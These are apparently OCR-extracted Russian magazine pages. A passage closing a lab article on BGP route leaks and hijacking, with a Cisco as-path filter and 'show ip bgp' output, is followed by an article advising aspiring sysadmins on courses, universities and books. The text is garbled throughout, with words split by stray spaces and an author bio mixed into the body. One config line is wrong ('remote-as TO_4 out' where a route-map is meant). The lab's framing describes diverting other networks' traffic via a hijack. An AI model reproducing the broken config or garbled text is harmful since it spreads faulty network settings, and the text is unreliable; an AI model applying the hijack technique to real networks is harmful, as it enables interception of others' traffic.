Те перь бли жайш ие AS при мут наш UPDATE и ста нут пересыл ать траф ик в нашу
авто номн ую сист ему. Мы получим дос туп до все го траф ика, адрес а наз‐
начения которо го находят ся в сети 192.168.0.0/24.
Сет и про вай дера защище ны от хай джек инг а, они прос то не прин има ют
марш ру ты, мас ка которых боль ше /25.
КАК ИЗБЕЖАТЬ ROUTE LEAK
Про вайд еры стар ают ся обе зопа сить себя от воз можных уте чек и хайд же кин га
с помощью атри бутов community и филь тров RegEx (регуляр ные выражен ия).
INFO
Исп ольз ование community спра вед ливо, толь ко
ког да оба марш ру тиза тора име ют догово рен‐
ности по комью ни ти. Однак о чаще все го, как и
в нашем прим ере, это не работае т, поск оль ку
исполь зует ся чис тый BGP.
Друг ое при мене ние RegEx — исполь зовать его как очень мощн ый филь тр,
который позв оляе т загл януть в анон сы BGP и по прис утст вию или отсутст вию
опре делен ных AS отбрас ывать или, наобор от, при нимать мар шрут ы. Но нель‐
зя пред усм отреть все, поэтом у луч шим и самым ответст венн ым решени ем
будет вни мательн о смот реть, что и куда ты анонс ируе шь из свое й AS.
Отф ильт ров ать все лиш нее
Не обхо димо наст ро ить фильт ра цию, чтоб ы преф ик сы, получен ные от одног о
про вай дера, не анон сировал ись друг ому и наша AS не стал а транз итной.
Взгля ни на прим ер route policy для запр ета анонс а сетей пер вого про‐
вайд ера через вто рого:
!
router bgp 5
neighbor 10.0.0.1 remote‐as 1
neighbor 10.0.0.1 route‐map TO_1 out
neighbor 20.0.0.2 remote‐as 4
neighbor 20.0.0.2 remote‐as TO_4 out
!
ip as‐path access‐list 1 deny _4$
ip as‐path access‐list 1 permit .*
ip as‐path access‐list 2 deny _1$
ip as‐path access‐list 2 permit .*
!
route‐map TO_1 permit 10
match as‐path 1
!
route‐map TO_4 permit 10
match as‐path 2
!
До филь тра:
R4#show ip bgp
Network Next Hop Metric LocPrf Weight Path
*> 172.16.0.0/24 0.0.0.0 0 32768 i
*> 192.168.0.0 20.0.0.1 0 5 1 i
* 40.0.0.1 0 3 2 1 i
Посл е филь тра:
R4#show ip bgp
Network Next Hop Metric LocPrf Weight Path
*> 172.16.0.0/24 0.0.0.0 0 32768 i
*> 192.168.0.0 40.0.0.1 0 3 2 1 i
Так мы получае м пол ный дос туп к табл ице марш ру тиза ции от двух про вай‐
деров, не став транз итной AS.
Наш при мер в очер ед ной раз доказыв ает, наск оль ко опасн ы и непр ед ска‐
зуемы могут быть любые изме нения в мар шру тизац ии BGP.
Мы расс мот рели route leak и hijacking на очень скром ном прим ере, однак о
и в гло баль ных сетях мировых магис траль ных пров ай деров похожее про исхо‐
дит чуть ли не ежедн евно. Если тебе инте ресн о, почитай про Рос телеком,
Google, AWS, Cloudflare и China Telecom.
АДМИН
СТАНЬ
СИСАДМИНОМ!
ГДЕ И КАК УЧИТЬСЯ СЕТЕВОМУ
АДМИНИСТРИРОВАНИЮ
Мног ие предс тавл яют сисадм ина как маль‐ Валерий Линьков
чика, который по тре бова нию началь ника Дипломированный
вытаск ивае т из прин тера зас трявш ие специалист и инструктор Cis‐
бумаж ки. На самом деле проф ес сия сис‐ co, основатель академии Cis‐
темно го адми нист ра тора подр азумев ает co, автор технических статей
наличие непл охого багажа теорет ическ их нацбезопасности России,
зна ний и практ ичес ких навыков. Это му нуж‐ сисадмин, ИБшник,
но учить ся. Давай посм отрим, где и как
это мож но делать. питонист, гик
valerylinkov.ru
ДОШКОЛЬНОЕ ОБУЧЕНИЕ И НАЧАЛЬНАЯ ШКОЛА
С какого возр аста изу чать техн ологии? Чем раньш е — тем луч ше! Сей час
двухл етние дети вов сю возят ся с планш етами, так что годам к шест и уже
впол не можн о прис тупать к прог рамми рова нию.
Для начала идеа ль но подой дет ScratchJR, его реализ ация есть поч ти
на любых плат формах, вклю чая iOS и Android. Это гра фичес кий язык прог‐
раммир ован ия, на котором можн о и прог рамму написать, и игру созд ать,
и даже реали зовать какой‐нибудь более серь езный прое кт.
Сле дом можн о перехо дить к Scratch. Могу пореко мен довать курс «Прог‐
раммир уем на Scratch» и кни ги Дениса Голико ва. Их осо бенн ость закл юча‐
ется в том, что по ним юный прогр аммист может изуч ать Scratch самос‐
тоятель но, без учас тия взросл ых, глав ное — уметь читать.
Еще одна штук ови на, с которой мож но знак омитьс я с юно го возр аста, —
пла та Arduino. На мой взгляд, луч шая кни га по этой плат форме — «Прак тичес‐
кая энцикло педия Arduino» Петина и Биняков ског о (на данн ый момент акту‐
аль но вто рое изда ние 2019 года). Встре чают ся и наборы из плат ы и книг и.
Напр имер, «Scratch + Arduino. Набор для юных конст рукт оров» и «Scratch +
Arduino. 18 про ектов для юных прогр аммис тов + книг а».
Так же можн о глян уть конс трукт оры «Знат ок».
СТАРШИЕ КЛАССЫ
Изуч ающие информат ику в школ е делят ся на две груп пы: те, кому повезл о,
и все остальн ые. Везунч ики изуч ают язы ки прогр амми рова ния, осно вы сетей,
устрой ство компью те ра и мног ое друг ое. Те, кому повез ло мень ше, рису ют
в Paint и набира ют текс ты в Word. Луч ше чем ничего, но все же для будущег о
IT‐спе циалист а это го мало.
Лет с две надц ати человек уже сам понимае т, что ему больш е всег о инте‐
рес но, и если это компь юте ры, то родител ям стои т позабот итьс я, что бы он
получил норм альн ое тех ническ ое обра зован ие. При этом оцен ки по матема‐
тике и информат ике вовс е не показат ель, пос кольк у тут очень мног ое зависит
от учи теля и его уме ния заин тересо вать школь ников свои м предм етом.
INFO
В 2017 году в школ ах появил ось два инте рес ных
нововв едения. Пер вое — прое кт мэрии Мос квы
«Ин женерн ый класс в моск ов ской школ е». Вто рая
новин ка — пред мет «Прое ктная деятельн ость»,
на котором можн о труд итьс я над какой‐то сво ей
раз работ кой. Кру той прое кт может стать даже
частью будуще го резюме.
Как выбирать курс ы
Сей час пол но курс ов, на которых школьн ик может получить дополн итель ные
зна ния. Увы, част о эти курс ы соверш енно бесп олезн ы. Дело в том, что мног ие
из них — это, по сути, кружк и науч но‐разв ле катель ного тол ка. У преп ода вате‐
лей там трив иальн о свя заны руки: им зап рещено давать подопечн ым серь‐
езную наг рузку. Из‐за этог о невозм ожно вес ти занятия в форм е лекц ий
или уро ков, давать домашн ие задания или устра ивать тест ирован ие.
Иног да талант ли вым педагог ам уда ется донес ти до школьн иков знан ия
в игро вой и раз влек атель ной фор ме, не напр ягая их обяз алов кой, но час то
в таких круж ках дети прост о бес толко во про водят врем я. Ценн ые зна ния
здесь получае т тольк о тот, кто готов занимать ся сам.
Одн ако все это не зна чит, что хороших школ, спос об ных не толь ко раз‐
влечь детей, но и дать им полез ные знан ия, нет. Вот нес коль ко при меров.
• Cisco Networking Academy. Моя родн ая ака демия, в которой я начал свой
путь и сейч ас помогаю начать друг им. Главн ый плюс акад емии — обновля‐
емые раз в два года курс ы по сетево му админ ис три рова нию. Форм ы про‐
вер ки — конт роль ные и экза мены. Воз раст — от 12 лет (иногд а с 10 лет).
• Шко ла Huawei. Шко ла, которая появил ась не так давн о (лет десять назад),
но уже успел а «наделать шуму». Это анал ог акад емии Cisco на китайс кий
лад. Курс ы здесь более дешевые, но они крайн е полезн ы для Рос сии, так
как у нас обо рудо вание Huawei встре чает ся все чаще. Форм ы пров ерк и —
конт рольн ые и экза мены. Возр аст — от 12 лет.
• IT‐шко ла Samsung. Еще одна прекр асная школ а, расп оложен ная в Мос кве.
Здесь изуч ает ся Android‐прогр аммир ова ние на Java. Эта тема напр ямую
не отно сит ся к сис темно му админ ис трир ован ию, тем не менее она
популярн а у подр ос тков. Фор мы про верк и — конт рольн ые, экзам ены,
зачеты. Не сдал зачет — законч ил обуч ение. Воз раст — от 14 до 17 лет.
В отли чие от пред ыду щих двух школ здесь обуч ение ведет ся в офлайн е.
В общем, выбирай с умом! Нуж но искать шко лы, которые давн о на рын ке,
желатель но межд ународ ные и с сис темой зачисл ения по результ атам пред‐
варительн ых тес тов. Кстат и, тес тирова ние — это не прос то допол нитель ный
стресс: лучш е один раз завалить тест, чем стра дать целый год, ничего
не понимая на заняти ях.
Так же обяз ательн о смот ри, кто учит ель. Если его имя и фамилия не гуг‐
лятся — это пло хой знак. Воз можно, стои т лич но пообщ ать ся с педагог ами
и выяс нить, что и как будут преп ода вать. А вот обра щать вни мание
на выложенн ые в интерне те на офиц иаль ном сай те серт ификат ы и бла‐
годарс твен ные пись ма нет смысл а вовс е.
Что изуч ать?
При выборе шко лы или сост авлен ии пла на домаш них занятий отдав ать пред‐
почте ние сто ит базовым зна ниям, которые при годят ся любому айтишн ику.
За врем я обуч ения мод ные техн ологии успе ют изме нить ся, но некото рые
вещи приг одят ся всегд а:
• уст ройс тво и прин ципы работы компью тер а;
• ос новы сетей;
• опер ацио нные сист емы (Windows и Linux);
• осн овные принц ипы информац ион ной безопасн ости;
• кон цепция вир туали зации;
• анг лий ский язык (это вооб ще ключ ко все му).
До пол нительн о мож но позн акомитьс я с прог рамми рова нием и веб‐раз‐
работ кой — хотя бы на уров не уста новк и и нас трой ки движк а сай та.
Сам ообр азова ние
Есть огромное количест во ресурс ов, которые позв оля ют изу чить осно вы IT, —
как бес плат ных, так и плат ных. А иногд а и на плат ных кое‐что дают задаром.
Нап ример, Stepik.org — прек расный пор тал с больш им количест вом бес‐
плат ных курс ов (в том числ е на русс ком), оценк ами и демонс тра цией проц ес‐
са обуч ения. Из инте рес ных напр авлен ий можн о отмет ить след ующие:
• Осн овы IoT на ArduinoUno;
• Веб‐раз работ ка для начинаю щих: HTML и CSS;
• Без опас ность в интернет е;
• Без опас ность АСУ ТП. Ввод ный курс;
• Прог раммир ован ие на Python;
• Ана лиз безопасн ости веб‐про ектов;
• Вве дение в Linux;
• Осн овы прог раммир ован ия для Linux.
Есть и друг ие. Рос сийс кие — «Не толо гия», GeekBrains, «Спе циалист»,
Skillbox, западн ые — Coursera, Skillshare, Udemy и про чие. Отдельн ого упо‐
минан ия засл уживае т Khan Academy, которая не берет денег и спо соб на
заменить не толь ко информа тику, но и друг ие предм еты, включ ая началь ные
кур сы вуза. Увы, русс кие субт итры там есть не у всех роликов.
Ну и конечн о, YouTube — это неис черпа емый источник не толь ко разв ле‐
чения, но и зна ний. Поищи нуж ную тему — наверн яка найд ешь мно го полез‐
ного.
Что до книг, то здесь выбор огром ен, но по больш ей част и не для школь‐
ного возр аста. Впро чем, тем, кто пос тарше, рекоменд ую учить ся читать
взрос лую литерат уру и при выкать к ней.
Ну и для одинн адцат ик лас сник ов совет прос той: читать и качать скил лы
в сво бодн ое врем я нуж но, но тольк о если оно есть. Подг отов ка к ЕГЭ — это,
как ни крут и, главн ая задача, которая кри тическ и важн а для пос туплен ия в вуз.
В десятом клас се еще можн о делать про екты и ходить на курс ы, но в один‐
надца том про все это при дет ся забыть.
КОЛЛЕДЖ ИЛИ ВУЗ?
Пос тупать ли в вуз вооб ще — это отдельн ый воп рос, который стои т обду мать.
Воз можно, хва тит и колл еджа, осо бен но если ты бы хотел поск орее начать
работать и зараба тывать. Давай пос мотрим, какие дост оинс тва и недос татки
у обо их типов заведе ний.
Кол ледж
Плю сы:
• по лучае шь про фес сию на два года раньш е;
• тольк о практ ическ ие зна ния;
• де шев ле, чем плат ное образ ован ие в вузе.
Мин усы:
• обр азован ие сред нее, а не высш ее;
• не дает глу боких теорет ичес ких зна ний;
• тольк о вре мен ная отсрочк а от армии.
Вы бирать кол ледж мож но по назв анию прогр аммы и содерж анию кур сов.
Для сист емно го админ ис тра тора два луч ших кол леджа в Мос кве — Колл едж
связ и № 54 и Кол ледж предп рин има тельс тва № 11. Самые сильн ые учи теля
сетево го админ ис три рован ия — Сер гей Николае вич Хох лов (Колл едж связ и),
Илья Михайл ович Шварц ман (Кол ледж пред при нимат ель ства № 11).
Вуз
Плю сы:
• выс шее обра зова ние;
• боль шой объе м зна ний;
• во енная кафед ра;
• возм ожность получить мес то в обще житии;
• воз можность про дол жить научн ую деятельн ость.
Ми нусы:
• про фес сию получа ешь на два года доль ше (как минимум);
• выс окий конк урс на бюд жетные отде ления, с обще житие м — еще боль ше;
• вы сокая цена на плат ное обу чение.
С одной сто роны, тра тить лишн ие два‐три года на вещи типа физики, химии,
инже нер ной граф ики и даже матанал иза, когд а соверш енно уве рен, что
хочешь быть сисадм ином, может быть излишне. С дру гой сто роны, вос‐
помина ния о них нет‐нет да и при годят ся на практ ике, не говоря уже о пос‐
ледних курс ах на про фильн ых спе циальн ост ях.
Так же, если ты пла нируе шь ког да‐нибудь пре тен довать на началь ствен ные
роли в крупн ых орган иза циях, короч ка как минимум будет плюс ом с точ ки
зрен ия HR, да и допол нительн ые дисц ипли ны типа экон омик и не пов редят.
Опять же если удал ось пост упить на бюдж етное, то у такого обра зова ния есть
весомый плюс: оно бес плат ное!
Ну и конечн о, два‐три года изу чения общих дис циплин, ско рее всег о,
предп очти тель нее, чем год в армии. Кол ледж дает отсрочк у тольк о на вре мя
обуч ения в нем, а вот наличие в вузе военн ой кафедр ы означ ает, что ты
получишь зва ние лейт енант а запаса и мак симум, что тебе гро зит, —
это военн ые сбо ры.
Зачем учить «лишнее»
Я могу вспомн ить два случ ая, когд а сис темном у админ ис тра тору понадо‐
бились знан ия, получен ные в инстит уте.
Случ ай перв ый. Офис комп ании занима ет два этаж а истор ичес кого
здан ия (особ няк XIX века, памят ник архит ек туры). Нуж но тянуть локальн ую
сеть, дол бить стен ы, кре пить сна ружи камеры видео наб людения и мон‐
тировать внут ри коробы с обо рудов ани ем, кабель‐каналы с пров ода ми, а все
эти мероп риятия нужн о сог ласовы вать с комитет ом по охран е памят ников.
Тут очень при годил ись навыки сос тавлен ия техн ичес кой докумен тации и чте‐
ния черт ежей (поэтажн ые план ы здан ия с ука зани ем сущест ву ющих ком‐
муника ций).
Случ ай втор ой. Пред при ятие выст упало под рядчи ком при орган изац ии
мероп риятия с участ ием орган ов влас ти, зак лючив гос кон тракт. Разм ещение
серв ерных сто ек, марш рут изат оров, точек дост упа и обо рудов ания в кон‐
ференц‐залах и пресс‐цент ре треб овал ось заранее сог ласовать с заказ‐
чиком в виде чер тежей (по всем ГОСТ ам, с рамоч ками и «штам пами»).
Здравст вуй, начерт ательн ая геомет рия и машинн ая гра фика, как хорошо, что
я тебя не про гулив ал.
— Ва лент ин Хол могоров
ВЫБИРАЕМ СПЕЦИАЛЬНОСТЬ
Есл и ты оста новил ся на вузе, то пер вое, с чем я рекомен дую опре делить‐
ся, — это спе циаль ность, которую ты хочешь получить. Луч ший выбор
для сетеви ка и мно гих дру гих айтишн иков — это нап равле ние 10.03.01
«Информац ионн ая безопасн ость».
По чему имен но ИБ? Из‐за качес тва прог раммы. Все выс шее образ ова ние
разб ито на изуч аемые науки. Информат ика попала в два сект ора — «Матема‐
тичес кие и естес твенн ые науки» и «Инже нерн ое дело, техн ологии и тех‐
нологи ческ ие науки». Нас будет инте ресо вать втор ой сект ор, так как нам сто‐
ит изуч ать информа тику не как подр аздел математ ики, а отдельн о. И не
как науку (мы же не теоре тики), а как инжен ерн ое дело.
Что изуч ает ся имен но в ИБ, можн о почитать во ФГО Се (PDF). Одна ко
федеральн ые станд арты — это одно, а их реали зация в конк рет ных вузах —
немн ого дру гое. При желании, порыв шись на сай те вуза, ты можешь най ти
план ы занятий групп, которые учат ся по нуж ной тебе спе циаль ност и. Нап‐
ример, находим на сайт е МИРЭА стран ицу, посв ященн ую нашей спец иаль‐
нос ти 10.03.01, и видим ссыл ку на учебн ый план. Да, при чтен ии мож но сло‐
мать гла за (и шею), но уже горазд о понят нее, с чем прид ет ся стол кнуть ся.
Но даже тут ты не узнае шь, чему конк рет но будут учить. С точ ки зре ния
сист емы обра зова ния нет осо бой разн ицы меж ду одно тип ными язык ами
прогр аммир ован ия или базами данн ых. И в целом это справ ед ливо, но сту‐
дент ы при выборе меж ду, напр имер, Pascal и Java или FoxPro и MySQL в обо‐
их слу чаях пред почтут втор ой, более совр еменн ый вариа нт. Чтоб ы выяс нить
такие детали, лучш е всег о схо ди на день откры тых двер ей и пос пра шивай
пре подав ател ей и старш екур сник ов.
На какие еще спе циаль ност и мож но обра тить вни мание? Ищи по слов ам
«информа тика», «информац ион ные» или «IT». Главн ое — держ ись подальш е
от «прик ладной матема тики и информат ики» (01.03.02). Здесь от всяк их
матема тическ их «теорий» и «анал изов» будет лопатьс я мозг, а прак тичес кие
айтишн ые вещи изуч ают ся по остат очн ому прин ципу и в сво бодн ое
от решения интеграл ов врем я.
ВЫБИРАЕМ ВУЗ
В Мос кве и Санкт‐Петер бурге выбор вузов больш ой, но най ти идеа льн о под‐
ходящий не так‐то прост о. Крит ерие в мног о, в том чис ле не связ анн ых
с самим обуч ение м. Где‐то ниже прох од ной балл, где‐то выше, но есть обще‐
житие, где‐то абит ури ентов привл ека ют гиб кими схем ами оплат ы, а какие‐то
могут не под ходить молодым людям из‐за отсутс твия воен ной кафед ры. Или,
нап ример, близ ость к дому сэконо мит вре мя, которое можн о пот ратить
с больш ей поль зой.
Что бы найт и все вузы, где сту ден тов готовят по нуж ной спе циаль нос ти,
идем на сайт EduNetwork или любой подоб ный, выбира ем город и задае м
парамет ры. Мож но, нап ример, посм отреть все мос ков ские вузы со спе циаль‐
ностью «Информац ионн ая безопасн ость» и военн ой кафед рой.
С МИРЭА, МЭИ и МИФИ ты точ но не про махн ешьс я. А в Бауманк е, нап‐
ример, «Информа ционн ой безопас ности» как таковой нет, есть тольк о «Ин‐
форма ционн ая безопасн ость автом атиз иро ван ных сис тем» (10.05.03, кафед‐
ра ИУ8), что не сов сем то же самое. Кста ти, чему учат на дру гих «ИУ», тоже
сто ит посм отреть.
Сред и питерс ких вузов самый подх одящий для будуще го сисадм ина —
Санкт‐Петер бург ский государст венн ый унив ер ситет телеком муника ций им.
проф. М. А. Бонч‐Бруе вич а. Там как раз есть напр авлен ие ИБ. Такж е можешь
рас смот реть Санкт‐Петер бург ский политех ническ ий унив ер ситет (Политех),
ЛЭТ И (элект ро техн ическ ий — с укло ном в «железо»), ИТМ О и ГУА П (аэро кос‐
мическ ого при борост рое ния).
О ПОСТУПЛЕНИИ
Схем а пос туплен ия в посл еднее врем я сильн о изме нилась, хотя по‐преж нему
осно вана на про ход ных бал лах.
В июне все выпуск ник и пишут экзам ены ЕГЭ и по его резуль татам пос тупа‐
ют в вузы. Количест во бюд жетных мест все врем я меня ется, но суть одна.
Есть две вол ны пос тупле ния — 80% и 20%. Ты подае шь свои докумен ты в вуз
и получа ешь дост уп к онлайн овой табл ице всех пос тупаю щих. Ско рость
подачи здесь не принц ипиа ль на, однак о сто ит сдел ать все заранее.
В табл ице пос тупа ющих важ ны две вещи: ори гинал документ ов и сог ласие
на зачисл ение. Если и в той и в дру гой гра фе стои т «Есть», знач ит, человек
расс чит ыва ет пос тупить именн о в этот вуз. Смот ри, на каком мес те ты,
и сравн ивай это зна чение с количес твом бюд жетных мест в вузе.
Пост упать лучш е на перв ой вол не, так как втор ая более непр ед ска зуемая.
Быва ет, нап ример, что человек с высоки ми бал лами пыталс я пост упить, ска‐
жем, в Физт ех. Это у него не получил ось, он пси ханул и пошел в самый
«дешевый» (по бал лам) вуз. И во вто рой вол не у лидера таб лицы балл ы могут
быть больш е, чем у тех, кто пост упил в перв ой.
Таб лица «Минимальн ый прох од ной» показы вает минимальн ые про ходн ые
бал лы по вто рой вол не. При бав ляй 30–40 бал лов к это му году и получишь
след ующий, но учти один момент. Если у пост упа юще го в прош лом году был
набр ан тот самый минималь ный балл — это не гарант ия того, что он пос‐
тупил.
Ра бота ет это так. Допуст им, минималь ный про ход ной балл — 205. Эти
бал лы расп ред еле ны по трем напр авлен иям — информат ика, матема тика,
русс кий. Три человек а написал и экзам ены на этот балл, но в табл ице они
будут на разн ом уров не, и, если мест о будет толь ко одно, пост упит тольк о
один. В табл ице это будет выг лядеть так:
1. Ин формат ика — 69, математ ика — 68, рус ский язык — 68.
2. Ин формат ика — 68, матема тика — 69, русс кий язык — 68.
3. Инф ормат ика — 68, математ ика — 68, русс кий язык — 69.
То есть учи тывае тся при ори тет экзам ена. При ори теты выст авляе т вуз, но на
ИБ чаще всег о он имен но такой: информа тика, матема тика, рус ский.
Считаем баллы
На сайт е postyplenie.ru есть каль кулятор бал лов, где вузы мож но отсорти‐
ровать по прогр аммам обу чения, прох од ным балл ам на бюдж етное отде‐
ление и цене обу чения (работае т для вузов Моск вы и Санкт‐Петер бурга).
Сорт ировк а «по деньг ам» — слев а, «по бал лам» — справ а.
Под бор по цене обу чения. В граф е «Спец иаль ность» выбира ем
«Инжен ер ное дело, техн ологии и техн ологич еск ие науки» и цену обуч ения.
Жмем «Поиск» и смот рим, что получи лось. Теперь, если хочешь идти на ИБ,
ищи поиск ом по стран ице сло ва «Информа цион ная безопасн ость»
без каких‐либо прист авок, при писок или изме нений. Это гаран тия того, что
курс соот ветс твуе т именн о это му ФГО Су.
Подб ор по про ходн ым бал лам. Предп оложим, сейч ас ты не знае шь
точ но, какие у тебя будут бал лы за государст вен ные экзам ены, но можешь
прик инуть (луч ше скинь бал лов десять для верн ости — вдруг на экзам ене
перевол нуешьс я). Вбив ай резуль тат в табл ицу «Балл ы ЕГЭ» и жми кноп ку
«Рас счи тать». Даль ше точ но так же ищешь желае мую спе циаль ность по наз‐
ванию или коду.
САМООБУЧЕНИЕ
Не зави симо от того, где ты учишь ся, ты навер няка стол кнешь ся с проб лемой
устар еван ия информац ии. Техн ологии измен яют ся так быст ро, что прог‐
раммы кур сов за ними не пос пева ют. Если в математ ике или физике отста‐
вание на пять лет ничего не знач ит, в случ ае с ИТ оно может прив ест и к тому,
что пре подав ать будут нечт о напр очь устар евш ее.
Вот небольш ой спи сок основных знан ий и умен ий, которые совер шенно
точ но при годят ся, если ты собирае шьс я искать работу сисад мином. Он
отсорти рован от прос того к слож ному.
• Ус трой ство ПК (сборк а‐раз борка);
• умен ие про ложить витую пару, смонт ировать сетевую розет ку, обжать
разъе м RJ45;
• опе раци онные сист емы семей ства Windows;
• опе рацио нные сист емы Linux;
• уме ние работать со сце нария ми автом ати зации и команд ной обол оч кой
(PowerShell для Windows, SH/Bash для Linux);
• нас тройк а сетево го обо рудов ания (марш рут изат оры, точк и дос тупа);
• зна ние IP‐телефо нии и уме ние с ней работать;
• знан ие серв ерной архи тек туры, умен ие обра щатьс я как минимум с IIS, ng‐
nix, Apache и их допол нитель ными модулям и;
• осн овные принц ипы пост ро ения сети (пониман ие, что такое сетевой про‐
токол, и знан ие модели OSI);
• раб ота с про токо лами на уровн ях OSI (понимать, что это и зачем нуж но);
• нас трой ка про токо лов OSI;
• про токо лы марш рут изац ии (стат ичес кий и динами ческ ие);
• класс ифика ция динами ческ их про токол ов (дист анцио нно‐вект орные про‐
токо лы и про токо лы сос тояния каналов свя зи);
• наст ройк а про токо лов;
• без опас ность сети (основные прин ципы);
• наст ройк а меж сетевых экра нов;
• вирт уализ ация и конт ей неризац ия.
И допол нитель но...
• Прог раммир ова ние. Сист емным админ ис тра торам порой прих одит ся
оптим изи ровать про цесс ы, и до кодинг а тоже доходит. Здесь не повр едит
зна ние какого‐нибудь скрип тового язык а, нап ример Python. На нем легк о
начать прогр аммир овать, а запас воз можност ей огро мен.
• Ан глийс кий язык. Это абсо лют ный маст‐хэв. Без язы ка адми нис трат ору
никуда. Но до сво бод ного влад ения добивать необя зательн о: для начала
хват ит базовых зна ний (уров ень B).
• Веб‑разр аботк а. Необя зательн о углублятьс я в прог раммир ован ие,
но иметь навыки верс тки в HTML и CSS не помеша ет, рав но как и
понимать прин цип работы движк а сай та и базы данн ых.
• Азы педаго гики. Она тебе пот ребуе тся. А еще луч ше сраз у освои ть
и азы медитац ии! :‐)
КУРСЫ
Поск оль ку сам я избрал путь инжен ера Cisco, то здесь тра екто рия обу чения
извес тна мне луч ше всег о. Вот набор кур сов, который я счи таю иде аль ным.
• Introduction to IoT (рус ский);
• IT Essentials (рус ский);
• до пол нение — Networking Essentials (русс кий);
• Introduction to Cybersecurity (русс кий);
• Cybersecurity Essentials (русс кий);
• CCNA 7: Introduction to Networks (рус ский);
• CCNA 7: Switching, Routing, and Wireless Essentials (русс кий);
• CCNA 7: Enterprise Networking, Security, and Automation (русс кий). Кста ти,
рань ше был набор из четырех кур сов (все на рус ском): CCNA 6 — CCNA
R&S: Introduction to Networks, CCNA R&S: Routing and Switching Essentials,
CCNA R&S: Connecting Networks, CCNA R&S: Scaling Networks. На мой
взгляд, это было более пра вильн ое решение;
• CCNA Cybersecurity Operations (русс кий);
• CCNA Security (русс кий);
• CCNP (английс кий).
Об рати вни мание: курс CCNP предс тавл ен толь ко на английс ком язы ке
и перево дить его не будут, так как под разуме вает ся, что спец иалист уровн я
CCNP зна ет этот язык.
Из любопыт ного: есть курс CCNA Discovery. Он на рус ском язык е и удал ен
из сети Cisco, что боль шая редк ость. Сей час его можн о найт и на прост орах
интерне та. Прой ти все эти курс ы — хороший старт для сисадм ина, но и цена
там бывае т очень разн ой. Глав ное — по оконч ании кажд ого кур са ты получа‐
ешь сер тификат, который весь ма силь но котируе тся работо дател ями.
Ес ли же обу чение на перечис ленных выше кур сах не по карм ану,
на помощь прих одят ребята из ака демии IT DarkMaycal Sysadmins. У них есть
три виде окурс а:
• пост ро ение сетей Cisco с нуля (на мой взгляд, луч ший у них курс);
• тел ефо ния Asterisk с нуля (базовые знан ия в IP‐телефон ии);
• адм инист рир ован ие 1С с нуля (началь ные навыки работы с 1С).
Эти курс ы не так дороги, однак о проф ес сиональ ный сер тификат пос ле них ты
не получишь. Сейч ас выдаю т сер тификат о про хожд ении кур са, но работо‐
дател ю он, как прав ило, без разли чен.
Есть вариа нты еще дешев ле — от ребят из NetSkills. В их арсен але нес‐
коль ко видео кур сов:
• курс UNetLab;
• курс молодо го бойц а Cisco Packet Tracer — на мой взгляд, луч ший курс;
• курс «Ос новы GNS3» — почет ное вто рое мест о;
• Linux для начина ющих. Базовый курс;
• курс по MikroTik;
• CheckPoint SandBlast.
Курс ы силь но дешевл е ана логов, но и не так глу боки, как виде окур сы
DarkMaycal.
Есл и для тебя дорого и это и ты не готов трат ить день ги на допол нитель‐
ное обра зован ие, почитай след ующие материа лы, которые помогут тебе обу‐
читьс я бесп лат но.
• Прек расный курс «Сет и для самых маленьк их» на «Хабр ахабр е». Он очень
добр отно рас ска зывае т о сетевых тех нологи ях и бес пла тен, но имее т
весь ма высокий порог вхо да;
• на том же порт але лич но я част ень ко вык ладываю обуч ающие статьи
для молодых сетевых адми нис тра торов;
• один из луч ших курс ов по Python для сетевых админ ис тра торов — «Python
для сетевых инжен еров».
Для самос тоятельн ой под готовк и к сдач е экзам енов Cisco можн о исполь‐
зовать их офи циаль ные руководст ва (кни ги на рус ском) (читать лучш е в ука‐
зан ном порядк е).
• Одом У. Офиц иальн ое руководст во Cisco CCENT‐CCNA ICND1 640‐822
(Cisco Press Core Series), 2013.
• Одом У. CISCO Офи циаль ное руководст во по подг отов ке к сер тифика‐
цион ным экзам енам CCENT CCNA ICND2, 2011.
• Одом У. Cisco CCNA. Марш ру тизац ия и комм утация ICND2 200‐101 (Офи‐
циальн ое руководс тво), 2015.
• Прог рамма сетевой акад емии Cisco CCNA 1 и 2. Вспом огат ельн ое
руководст во.
• Прогр амма сетевой акад емии Cisco CCNA 3 и 4. Вспо мога тельн ое
руководс тво.
• Для пониман ия ситу ации в мире почитай от четы Cisco по кибер безопас‐
ности.
• Wiley Brand. Network Monitoring For Dummies (SolarWinds Special Edition),
2016. Кни гу мож но бесп лат но получить на сай те комп ании SolarWinds.
• Крэйг Хант. TCP/IP. Сетевое админ ист ри рова ние. 3‐е изда ние, 2004 —
наша биб лия.
• Эви Немет, Гарт Снай дер, Трент Хейн, Бэн Уэй ли. Unix и Linux. Руководст во
сис темно го адми нист ра тора, 2012. Луч шая кни га по Линук су.
• Адитья Бхар гава. Гро каем алго рит мы. Иллюс трир ованн ое пособие
для прог раммист ов и любопытс твую щих, 2017. Очень инте ресн ая кни га
для всех людей, которые хотят что‐то понять в алгор ит мах, а это важн о
для админ ов. Не веришь? Посм отри статью по ссыл ке.
• Кур оуз Росс. Компью терн ые сети. Нисх одящий под ход, 2016.
• Джер ом Ф. Димар цио. Мар шру тизат оры Cisco. Пособие для самос‐
тоятельн ого изуч ения. 2‐е издан ие, 2003.
• Джон Эрик сон. Хакинг: искусс тво экс плой та. 2‐е изда ние, 2010.
ТРУДОУСТРОЙСТВО
Как понять, заст авят ли тебя пол зать под сто лами с мот ком витой пары
в зубах, а потом чинить сайт, который на коленк е склеп ал пле мен ник дирек‐
тора, или нап равят на админ ис трир ован ие высоко наг руженн ого сер верног о
клас тера? Это, пожалуй, глав ное, что вол нует молодых сисад минов при поис‐
ке работы.
Сам ый прост ой ори ентир — это разм ер орган иза ции. Если в мел кой кон‐
торе ты будешь занимать ся вооб ще всем — в меру тво их спос обн остей
и тер пения, то в круп ной куда боль ше шан сов попасть в руки стар ших спе‐
циалис тов. Они подс ка жут, что делать, и ты будешь не тольк о работать, но и
учитьс я у них. Для перв ых лет карье ры это гораз до ценн ее. Прих одишь джу‐
ниором, а ухо дишь сеньо ром!
Но обра щать вни мание нужн о не толь ко на разм ер комп ании, но и на ее
про филь. Нап ример, встре чают ся очень малень кие конт оры, которые работа‐
ют с круп ными заказч иками, поэто му треб ован ия к тех ничес кому перс оналу
там чрез вычайн о высокие. Быва ют огромные межд ународ ные кор порации,
в которых зап росы намн ого ниже, а роли тех ническ ого пер сонала либо раз‐
мыты, либо рас пред елен ы межд у сот рудни ками, и кажд ый выпол няет свою
неболь шую отдельн ую функ цию.
Кстат и, работа для сисад мина есть не тольк о в час тных орган изац иях, но и
в госст рук турах. И они тоже быва ют раз ными, с раз ной спе циализ ацие й, раз‐
ным под ходом и разн ым уров нем комп етенц ии руководст ва.
